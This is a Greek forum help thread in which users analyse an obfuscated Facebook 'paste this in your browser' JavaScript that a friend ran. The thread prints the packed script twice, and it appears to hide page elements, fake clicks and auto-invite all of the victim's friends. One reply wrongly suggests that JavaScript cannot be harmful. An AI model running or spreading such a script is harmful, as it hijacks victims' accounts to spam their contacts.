Τι κάνει αυτός ο κώδικας; Keylogger , Iός κτλ;

[guido]

Λοιπόν μια φίλη μου έκανε την χαζομάρα να πάει σε ενα group στο FB που έλεγε να κάνει paste έναν κώδικα javascript που είχε εκεί στον browser και φυσικά το έκανε...

 

επειδή δεν έχω ιδέα τι κάνει αυτή η εντολή μπορεί να δει κανείς ώστε να ξέρω να τις πω τι ακριβώς να κάνει αν είναι κάποιος Ιος ή keylogger κτλ κτλ

 

ευχαριστώ

 

το code είναι το εξής :

 

> javascript:(function(){a='app125484964131302_eSSYSM';b='app125484964131302_GyBrZF';EeYSwp='app125484964131302_EeYSwp';RpfBrm='app125484964131302_RpfBrm';nPkNRC='app125484964131302_nPkNRC';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]]([e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|nPkNRC|fs|SocialGraphManager|RpfBrm|EeYSwp|||||||'.split('|'),0,{}))})();          

[bnvdarklord]

Ετσι που το δίνεις δυσκολο να καταλαβει κανεις τίποτα... Το εστρωσα λιγο να διαβάζεται, και δεν φαινεται κατι επικινδυνο...(αν και υπαρχουν κατι τελειως ακαταλαβιστικα κομματια που αφησα οπως ηταν :\) Δεν νομιζω να γινεται ιος με javascript

 

 

>javascript:(
function()
{
a='app125484964131302_eSSYSM';
b='app125484964131302_GyBrZF';
EeYSwp='app125484964131302_EeYSwp';
RpfBrm='app125484964131302_RpfBrm';
nPkNRC='app125484964131302_nPkNRC';

eval(function(p,a,c,k,e,r)
{
	e = function(c)
		{
			return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))
		};

	if(!''.replace(/^/,String))
	{
		while(c--)
			r[e(c)]=k[c]||e(c);

	k=[
		function(e)
		{
			return r[e]
		}
	];

	e = function()
		{
			return'\\w+'
		};

	c=1
};

while(c--)
	if(k[c])
		p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
	return p
}

('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];

d=U;
d[e[2]](V)[e[1]][e[0]]=e[3];
d[e[2]](a)[e[4]]=d[e[2]]([e[5]];
s=d[e[2]](e[6]);
m=d[e[2]](e[7]);
c=d[e[9]](e[8]);
c[e[11]](e[10],I,I);
s[e[12]](c);

C(D()
{
W[e[13]]()
},E);

C(D()
{
X[e[16]](e[14],e[15])
},E);

C(D()
{
m[e[12]](c);
d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]
},E);

',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|nPkNRC|fs|SocialGraphManager|RpfBrm|EeYSwp|||||||'.split('|'),0,

{

}

))
}
)();

 

[androu]

νομίζω οτι πετάει το παράθυρο για να καλέσεις φίλους σου.

[isay]

Δεν είναι κάτι που πρέπει να σε τρομάζει (περισσότερο να σε τρομάζει η άγνοια της φίλης σου). Ο κώδικάς είναι μια νέα (ηλίθια μόδα) να προσκαλείς αυτόματα φίλους ή να στέλνεις link και κάποια άλλα. Ριξέ μια ματιά και στα παρακάτω και πες και στη φίλη σου, να προσέχει τι πιάνει στα χέρια της.

 

http://forums.thedailywtf.com/forums/t/16753.aspx

http://dc0d32.blogspot.com/2010/05/how-not-to-look-like-fool-on-facebook.html

[bnvdarklord]

Πωπω ολοκληρη ιστορία για να κρύψουν το τι κανει αυτός ο κώδικας

[guido]

ευχαριστώ όλους παιδιά .

 

απλά το μυαλό μου πήγε σε τπτ phishing κτλ

 

(της το λέω κάθε φορά isay αλλά δεν... )

[thanos713]

Έγραψε πάλι ο isay...